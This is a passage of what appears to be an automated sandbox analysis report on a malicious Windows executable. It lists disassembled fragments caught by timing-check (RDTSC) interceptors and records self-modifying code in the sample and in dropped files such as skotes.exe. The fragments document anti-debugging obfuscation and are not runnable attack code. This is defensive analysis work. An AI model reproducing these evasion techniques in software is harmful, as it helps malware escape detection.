Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49401BC second address: 494026E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FDE34EAC86Ch 0x0000000e mov ebp, esp 0x00000010 jmp 00007FDE34EAC870h 0x00000015 sub esp, 2Ch 0x00000018 pushad 0x00000019 mov ax, 39EDh 0x0000001d mov edx, esi 0x0000001f popad 0x00000020 xchg eax, ebx 0x00000021 pushad 0x00000022 call 00007FDE34EAC872h 0x00000027 mov cx, 3E91h 0x0000002b pop ecx 0x0000002c mov ax, di 0x0000002f popad 0x00000030 push eax 0x00000031 jmp 00007FDE34EAC878h 0x00000036 xchg eax, ebx 0x00000037 jmp 00007FDE34EAC870h 0x0000003c xchg eax, edi 0x0000003d pushad 0x0000003e movzx eax, di 0x00000041 call 00007FDE34EAC873h 0x00000046 mov ch, E4h 0x00000048 pop edi 0x00000049 popad 0x0000004a push eax 0x0000004b pushad 0x0000004c pushad 0x0000004d call 00007FDE34EAC877h 0x00000052 pop eax 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49402DA second address: 4940301 instructions: 0x00000000 rdtsc 0x00000002 mov bx, 323Ch 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov edi, 00000000h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDE34C00CE7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940301 second address: 4940338 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a pushad 0x0000000b mov edx, eax 0x0000000d mov ah, 7Fh 0x0000000f popad 0x00000010 test al, al 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FDE34EAC86Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940338 second address: 494033E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494033E second address: 4940344 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940344 second address: 4940348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940348 second address: 494035F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FDE34EACA67h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 movsx edx, si 0x00000014 mov ah, 9Ch 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494035F second address: 4940391 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ecx, dword ptr [ebp-14h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDE34C00CE7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49404A8 second address: 494050D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 mov di, si 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c cmp dword ptr [ebp-14h], edi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FDE34EAC86Fh 0x00000018 or ax, F89Eh 0x0000001d jmp 00007FDE34EAC879h 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007FDE34EAC870h 0x00000029 add eax, 74969A98h 0x0000002f jmp 00007FDE34EAC86Bh 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494050D second address: 4940513 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940513 second address: 4940517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940517 second address: 494051B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494051B second address: 49405A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FDEA6ECA7DEh 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FDE34EAC86Dh 0x00000015 add eax, 7E909036h 0x0000001b jmp 00007FDE34EAC871h 0x00000020 popfd 0x00000021 push esi 0x00000022 mov di, D772h 0x00000026 pop ebx 0x00000027 popad 0x00000028 mov ebx, dword ptr [ebp+08h] 0x0000002b pushad 0x0000002c jmp 00007FDE34EAC874h 0x00000031 movzx eax, dx 0x00000034 popad 0x00000035 lea eax, dword ptr [ebp-2Ch] 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b pushfd 0x0000003c jmp 00007FDE34EAC876h 0x00000041 xor cl, FFFFFFE8h 0x00000044 jmp 00007FDE34EAC86Bh 0x00000049 popfd 0x0000004a movzx esi, bx 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49405A3 second address: 49405B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE34C00CE1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49405B8 second address: 49405D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49405D6 second address: 49405DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49405DA second address: 49405E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49405E0 second address: 49405F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE34C00CE1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49405F5 second address: 494061B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDE34EAC86Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494061B second address: 494063C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE34C00CE1h 0x00000008 mov bx, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494063C second address: 494064B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494064B second address: 494066F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494066F second address: 4940673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940673 second address: 4940677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940677 second address: 494067D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494067D second address: 49406A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FDE34C00CDBh 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49406A6 second address: 49406AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49406AC second address: 49406B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49406B2 second address: 49406B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49406B6 second address: 49406D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007FDE34C00CE0h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 mov ah, 38h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49406D8 second address: 494070A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC874h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34EAC877h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494070A second address: 4940710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940710 second address: 4940714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940061 second address: 4940067 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940067 second address: 49400A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDE34EAC86Ch 0x00000009 jmp 00007FDE34EAC875h 0x0000000e popfd 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 mov bx, cx 0x0000001a mov eax, 2553F235h 0x0000001f popad 0x00000020 xchg eax, ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49400A5 second address: 49400AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49400AB second address: 49400B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49400B1 second address: 49400B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49400B5 second address: 49400EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FDE34EAC86Bh 0x00000011 xchg eax, ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FDE34EAC870h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49400EA second address: 49400F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940136 second address: 494013A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494013A second address: 4940140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940140 second address: 4940146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940146 second address: 494014A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940B38 second address: 4940B61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007FDE34EAC874h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940B61 second address: 4940BD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c pushad 0x0000000d mov esi, 439F71EDh 0x00000012 mov bx, si 0x00000015 popad 0x00000016 cmp dword ptr [769B459Ch], 05h 0x0000001d jmp 00007FDE34C00CE4h 0x00000022 je 00007FDEA6C0EB3Ch 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov ax, dx 0x0000002e pushfd 0x0000002f jmp 00007FDE34C00CE9h 0x00000034 and eax, 18AA0B56h 0x0000003a jmp 00007FDE34C00CE1h 0x0000003f popfd 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940BD8 second address: 4940BDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940BDE second address: 4940BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940DA8 second address: 4940E0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FDE34EAC869h 0x0000000e jmp 00007FDE34EAC86Eh 0x00000013 push eax 0x00000014 jmp 00007FDE34EAC86Bh 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d jmp 00007FDE34EAC879h 0x00000022 mov eax, dword ptr [eax] 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FDE34EAC86Ch 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940E0D second address: 4940E87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDE34C00CE1h 0x00000009 or eax, 5247EFF6h 0x0000000f jmp 00007FDE34C00CE1h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FDE34C00CE0h 0x0000001b add ax, 6918h 0x00000020 jmp 00007FDE34C00CDBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d pushad 0x0000002e movsx edi, ax 0x00000031 mov di, si 0x00000034 popad 0x00000035 pop eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FDE34C00CE9h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940E87 second address: 4940EC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FDEA6EC153Ch 0x0000000e push 76952B70h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [769B4538h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 jmp 00007FDE34EAC86Eh 0x00000058 sub esi, esi 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007FDE34EAC873h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940EC8 second address: 4940EE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940EE5 second address: 4940EEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940EEB second address: 4940EEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940F22 second address: 4940F28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940F28 second address: 4940F8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, si 0x00000006 mov ebx, eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d pushad 0x0000000e call 00007FDE34C00CE0h 0x00000013 pushfd 0x00000014 jmp 00007FDE34C00CE2h 0x00000019 jmp 00007FDE34C00CE5h 0x0000001e popfd 0x0000001f pop esi 0x00000020 mov ch, dh 0x00000022 popad 0x00000023 je 00007FDEA6C046E8h 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FDE34C00CDFh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950A78 second address: 4950B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FDE34EAC874h 0x0000000a add cx, F3E8h 0x0000000f jmp 00007FDE34EAC86Bh 0x00000014 popfd 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 jmp 00007FDE34EAC879h 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FDE34EAC86Ch 0x00000025 and eax, 25EA1178h 0x0000002b jmp 00007FDE34EAC86Bh 0x00000030 popfd 0x00000031 jmp 00007FDE34EAC878h 0x00000036 popad 0x00000037 mov ebp, esp 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007FDE34EAC86Eh 0x00000040 and si, BB08h 0x00000045 jmp 00007FDE34EAC86Bh 0x0000004a popfd 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007FDE34EAC876h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950B33 second address: 4950B59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDE34C00CDAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950B59 second address: 4950B68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950B68 second address: 4950B7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 2315BBD1h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movzx ecx, dx 0x00000012 push edi 0x00000013 pop eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950B7D second address: 4950B9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 mov ecx, 64E40B1Fh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDE34EAC86Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950B9C second address: 4950BA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950BA0 second address: 4950BA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950BA6 second address: 4950BD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx ebx, ax 0x00000012 jmp 00007FDE34C00CE6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950BD8 second address: 4950C59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDE34EAC871h 0x00000009 or ecx, 1F7B8506h 0x0000000f jmp 00007FDE34EAC871h 0x00000014 popfd 0x00000015 push esi 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test esi, esi 0x0000001c pushad 0x0000001d mov edi, eax 0x0000001f movzx esi, di 0x00000022 popad 0x00000023 je 00007FDEA6EAA00Ah 0x00000029 jmp 00007FDE34EAC877h 0x0000002e cmp dword ptr [769B459Ch], 05h 0x00000035 jmp 00007FDE34EAC876h 0x0000003a je 00007FDEA6EC20B0h 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950C59 second address: 4950C76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950C76 second address: 4950C91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ebx, 11A52DB0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDE34EAC86Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950C91 second address: 4950C96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4950CD0 second address: 4950CED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 213DA5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 43272B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Special instruction interceptor: First address: 45EA5D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Special instruction interceptor: First address: 45EB64 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Special instruction interceptor: First address: 5F6512 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Special instruction interceptor: First address: 61A778 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Special instruction interceptor: First address: 6045FA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Special instruction interceptor: First address: 6798A3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Special instruction interceptor: First address: E31B5F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Special instruction interceptor: First address: E2F4E6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Special instruction interceptor: First address: FFB54A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7AEA5D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7AEB64 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 946512 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 96A778 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9545FA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Special instruction interceptor: First address: 105DD29 instructions caused by: Self-modifying code
